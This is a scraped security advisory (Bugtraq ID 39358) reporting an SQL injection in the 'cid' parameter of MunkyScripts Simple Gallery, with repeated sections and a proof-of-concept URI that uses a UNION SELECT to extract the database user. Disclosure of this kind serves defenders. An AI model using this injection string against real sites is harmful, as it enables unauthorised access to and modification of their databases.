Simple Gallery 'cid' Parameter SQL Injection Vulnerability
BID:39358
Info
Simple Gallery 'cid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 39358 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 04 2010 12:00AM |
| Updated: | Apr 04 2010 12:00AM |
| Credit: | ItSecTeam |
| Vulnerable: |
MunkyScripts Simple Gallery 0 |
| Not Vulnerable: | |
Discussion
Simple Gallery 'cid' Parameter SQL Injection Vulnerability
Simple Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Simple Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Simple Gallery 'cid' Parameter SQL Injection Vulnerability
Attackers can use readily available network utilities to exploit this issue.
The following example URI is available:
http://www.example.com/SimpleGallery/gallery.php?cid='/**/UNION/**/SELECT/**/1,2 (concat_ws(0x3a,user())),4/*
The following exploit is available:
Attackers can use readily available network utilities to exploit this issue.
The following example URI is available:
http://www.example.com/SimpleGallery/gallery.php?cid='/**/UNION/**/SELECT/**/1,2 (concat_ws(0x3a,user())),4/*
The following exploit is available:
Solution / Fix
Simple Gallery 'cid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Simple Gallery 'cid' Parameter SQL Injection Vulnerability
References:
References:
- Simple Gallery Home page (MunkyScripts)